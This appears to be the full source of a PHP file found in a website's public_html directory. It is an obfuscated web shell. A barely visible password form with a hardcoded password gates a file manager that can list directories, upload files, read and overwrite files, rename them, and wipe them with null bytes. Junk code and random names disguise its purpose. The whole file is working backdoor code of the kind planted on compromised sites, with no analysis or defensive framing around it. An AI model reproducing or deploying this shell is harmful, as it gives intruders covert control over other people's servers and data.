File "autofunbre.php"
Full Path: /home/ccipcixf/public_html/ccipk.com/autofunbre.php
File size: 9.24 KB
MIME-type: text/x-php
Charset: utf-8
<?php function rlqnp($v): string {return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8');$numktvar=chunk_split('abcdef',2);}$wdkgjvar=array_chunk([1,2,3,4],2);function znnx(){if(!session_id())session_start();$agwtvar=array_search(1,[1,2,3]);if(!isset($_SESSION['spraddlement']))$_SESSION['spraddlement']=[];$wqvar=md5((string)time());}$hnvar=__LINE__;function gljmx($v){znnx();$cxhzpvar=null??null??0;static $c=0;$hubgvar=phpversion();$c++;$sxvar=range('a','c');$_SESSION['spraddlement'][$c]=$v;return $c;$jhjevar=ctype_upper('ABC');}$zsbvar=is_array([1])?count([1]):0;function woll($k,$d=null){znnx();$cxmievar=__LINE__;return $_SESSION['spraddlement'][$k]??$d;$xndvar=end([1,2,3]);}function wcp($p,$cnvar){$p=str_replace("\0",'',$p);$mlpvar=implode('',array_slice([],0));$p=trim($p);if($p==='' or $p==='.' or $p==='/')return $cnvar;0==1;$p=rawurldecode($p);$auvar=1<2&&2<3?true:false;$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($cnvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$qdzvar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $huwvar){if($huwvar==='' or $huwvar==='.')continue;if($huwvar==='..'){array_pop($qdzvar);continue;}$qdzvar[]=$huwvar;}$tyvar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$qdzvar);$bggruvar=@realpath($tyvar);$faplrvar=realpath($cnvar);if($bggruvar!==false and $faplrvar!==false and strpos($bggruvar,$faplrvar)===0)$tyvar=$bggruvar;is_file($tyvar) and ($tyvar=dirname($tyvar));return rtrim($tyvar,DIRECTORY_SEPARATOR);}function vw($p){if(!is_file($p) or !is_readable($p))return false;$ktsjlvar=@fopen($p,'rb');if(!$ktsjlvar)return false;$dtvar='';while(!feof($ktsjlvar)){$ukiavar=fread($ktsjlvar,8192);if($ukiavar===false)break;$dtvar.=$ukiavar;}fclose($ktsjlvar);return $dtvar;}function br($p,$d){$fxqvar=dirname($p);if(!is_dir($fxqvar) or !is_writable($fxqvar))return false;$ktsjlvar=@fopen($p,'wb');if(!$ktsjlvar)return false;flock($ktsjlvar,LOCK_EX);$kcdjgvar=fwrite($ktsjlvar,$d);flock($ktsjlvar,LOCK_UN);fclose($ktsjlvar);return $kcdjgvar!==false;}function nib($p){if(is_file($p) and is_writable($p)){$ktsjlvar=@fopen($p,'wb');if($ktsjlvar){fwrite($ktsjlvar,str_repeat("\0",max(1,@filesize($p))));fclose($ktsjlvar);}return true;}return false;}function jg($p,$devar){return '<a href="?xc='.rlqnp(gljmx($p)).'">'.rlqnp($devar).'</a>';}function wpiren($p,$cnvar){$bggruvar=realpath($p);$faplrvar=realpath($cnvar);if(!$bggruvar or !$faplrvar or strpos($bggruvar,$faplrvar)!==0)return rlqnp($p);$muvar=substr($bggruvar,strlen($faplrvar));$muvar=trim($muvar,DIRECTORY_SEPARATOR);$huwvar=$muvar===''?[]:explode(DIRECTORY_SEPARATOR,$muvar);$fivar=[jg($cnvar,'~')];$zvelvar=$cnvar;foreach($huwvar as $s){$zvelvar=rtrim($zvelvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$fivar[]=jg($zvelvar,$s);}return implode(' / ',$fivar);}$cnvar=__DIR__;$qslvar="transtippet";znnx();if(!isset($_SESSION['unmisjudger'])){if(isset($_POST['j']) or isset($_GET['j'])){$gdvar=$_POST['j']??$_GET['j'];if($gdvar===$qslvar){$_SESSION['unmisjudger']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['unmisjudger'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f0f0f0}.yd0{position:fixed;bottom:8px;left:8px;opacity:0.13;display:flex;gap:3px}.yd0 input{width:58px;padding:2px 3px;border:1px solid #ccc;background:#fff;font:10px/1.4 monospace;outline:none}.yd0 button{padding:2px 6px;border:1px solid #ccc;background:#eee;font:10px monospace;cursor:pointer;color:#555}</style></head><body><form class="yd0" method="post"><input type="password" name="j" autocomplete="off"><button type="submit">›</button></form></body></html><?php exit;}}$qrqtevar=$_GET['xc']??null;$kzdvar=$qrqtevar?wcp(woll($qrqtevar,$cnvar),$cnvar):wcp($_GET['g']??'',$cnvar);if(isset($_POST['kv']) and isset($_FILES['kf'])){$slwddvar=$_FILES['kf']['tmp_name'];$tshbvar=basename($_FILES['kf']['name']);$hczgvar=$kzdvar.DIRECTORY_SEPARATOR.$tshbvar;if($slwddvar and $tshbvar and is_uploaded_file($slwddvar) and @move_uploaded_file($slwddvar,$hczgvar)){header('Location: ?xc='.gljmx($kzdvar).'&s=1');exit;}header('Location: ?xc='.gljmx($kzdvar));exit;}if(isset($_POST['qh']) and isset($_GET['z'])){$kgvar=$kzdvar.DIRECTORY_SEPARATOR.basename($_GET['z']);$eilqvar=$_POST['k']??'';if(br($kgvar,$eilqvar)){header('Location: ?xc='.gljmx($kzdvar).'&z='.urlencode($_GET['z']).'&s=2');exit;}header('Location: ?xc='.gljmx($kzdvar));exit;}if(isset($_POST['c'])){$xgpvar=basename($_POST['ic']??'');$kgvar=$kzdvar.DIRECTORY_SEPARATOR.$xgpvar;if($xgpvar!=='' and (is_file($kgvar) or is_dir($kgvar)) and nib($kgvar)){header('Location: ?xc='.gljmx($kzdvar));exit;}}if(isset($_POST['r'])){$jeqvar=basename($_POST['tm']??'');$jnmvvar=basename($_POST['u']??'');if($jeqvar!=='' and $jnmvvar!=='')@rename($kzdvar.DIRECTORY_SEPARATOR.$jeqvar,$kzdvar.DIRECTORY_SEPARATOR.$jnmvvar);header('Location: ?xc='.gljmx($kzdvar));exit;}$nmjyjvar=(int)($_GET['s']??0);$mghvar=$_GET['z']??null;$bevar='';if($mghvar){$bevar=vw($kzdvar.DIRECTORY_SEPARATOR.basename($mghvar));}$iphavar=[];$bugvar=[];$eclvar=@scandir($kzdvar);if($eclvar!==false){foreach($eclvar as $qsvar){if($qsvar==='.' or $qsvar==='..')continue;$kgvar=$kzdvar.DIRECTORY_SEPARATOR.$qsvar;if(is_dir($kgvar)){$iphavar[]=['n'=>$qsvar,'p'=>$kgvar];}else{$vvvar=@filesize($kgvar);$mpvar='';if($vvvar!==false){$mpzvar=['b','k','m','g'];$zgbvvvar=0;while($vvvar>=1024 and $zgbvvvar<3){$vvvar/=1024;$zgbvvvar++;}$mpvar=round($vvvar,1).$mpzvar[$zgbvvvar];}$bugvar[]=['n'=>$qsvar,'s'=>$mpvar];}}sort($iphavar);sort($bugvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#efefef;font:12px/1.5 monospace;color:#333}.ei1{max-width:860px;margin:18px auto;padding:0 12px}.ch0{font-size:10px;color:#aaa;padding:6px 0 10px}.ch0 a{color:#888;text-decoration:none}.ch0 a:hover{text-decoration:underline}.fx2{padding:5px 10px;background:#e8ffe8;border-left:3px solid #9c9;font-size:10px;margin-bottom:10px;color:#595}.jl5{background:#fff;border:1px solid #ddd;padding:10px;margin-bottom:12px}.jl5 textarea{width:100%;padding:6px;border:1px solid #ddd;font:11px monospace;resize:vertical;min-height:280px;outline:none}.jl5 .ei4{margin-top:6px;display:flex;gap:5px}.ix6{background:#fff;border:1px solid #ddd;padding:8px 10px;margin-bottom:12px;display:flex;gap:6px;align-items:center}.ix6 input[type=file]{flex:1;font-size:10px}.xm7{width:100%;border-collapse:collapse;background:#fff;border:1px solid #ddd}.xm7 tr{border-bottom:1px solid #f0f0f0}.xm7 tr:last-child{border-bottom:none}.xm7 tr:hover{background:#fafafa}.xm7 td{padding:5px 8px;font-size:11px;vertical-align:middle}.xm7 .gh6{color:#aaa;font-size:9px;width:24px}.xm7 .xa2 a{color:#222;text-decoration:none}.xm7 .xa2 a:hover{color:#0055bb}.xm7 .dy5{color:#bbb;font-size:9px;width:50px;text-align:right}.xm7 .ps7{width:160px;text-align:right}.ea1{padding:2px 7px;background:#f5f5f5;border:1px solid #d5d5d5;font:9px monospace;cursor:pointer;color:#444}.ea1:hover{background:#e8e8e8}.cs2{width:70px;padding:2px;border:1px solid #ccc;font:9px monospace}.qa2{display:inline}.rc5{color:#ddd;margin:0 2px}</style></head><body><div class="ei1"><div class="ch0"><?php echo wpiren($kzdvar,$cnvar)?></div><?php if($nmjyjvar===1):?><div class="fx2">zakozam</div><?php endif?><?php if($nmjyjvar===2):?><div class="fx2">uydare</div><?php endif?><?php if($mghvar and $bevar!==false):?><div class="jl5"><form method="post"><textarea name="k"><?php echo rlqnp($bevar)?></textarea><div class="ei4"><button class="ea1" name="qh">omekolur</button><a href="?xc=<?php echo rlqnp(gljmx($kzdvar))?>"><button type="button" class="ea1">←</button></a></div></form></div><?php endif?><div class="ix6"><form method="post" enctype="multipart/form-data" style="display:flex;gap:6px;width:100%;align-items:center"><input type="file" name="kf"><button class="ea1" name="kv">+</button></form></div><table class="xm7"><tbody><?php foreach($iphavar as $fxqvar):?><tr><td class="gh6">[+]</td><td class="xa2"><?php echo jg($fxqvar['p'],$fxqvar['n'])?></td><td class="dy5"></td><td class="ps7"><form class="qa2" method="post"><input type="hidden" name="ic" value="<?php echo rlqnp($fxqvar['n'])?>"><button name="c" class="ea1" onclick="return confirm('?')">×</button></form><span class="rc5">|</span><form class="qa2" method="post"><input type="hidden" name="tm" value="<?php echo rlqnp($fxqvar['n'])?>"><input type="text" name="u" class="cs2" placeholder=".."><button name="r" class="ea1">›</button></form></td></tr><?php endforeach?><?php foreach($bugvar as $dxmpgvar):?><tr><td class="gh6">[-]</td><td class="xa2"><?php echo rlqnp($dxmpgvar['n'])?></td><td class="dy5"><?php echo $dxmpgvar['s']?></td><td class="ps7"><a href="?xc=<?php echo rlqnp(gljmx($kzdvar))?>&z=<?php echo urlencode($dxmpgvar['n'])?>"><button class="ea1">~</button></a><span class="rc5">|</span><form class="qa2" method="post"><input type="hidden" name="ic" value="<?php echo rlqnp($dxmpgvar['n'])?>"><button name="c" class="ea1" onclick="return confirm('?')">×</button></form><span class="rc5">|</span><form class="qa2" method="post"><input type="hidden" name="tm" value="<?php echo rlqnp($dxmpgvar['n'])?>"><input type="text" name="u" class="cs2" placeholder=".."><button name="r" class="ea1">›</button></form></td></tr><?php endforeach?></tbody></table></div></body></html>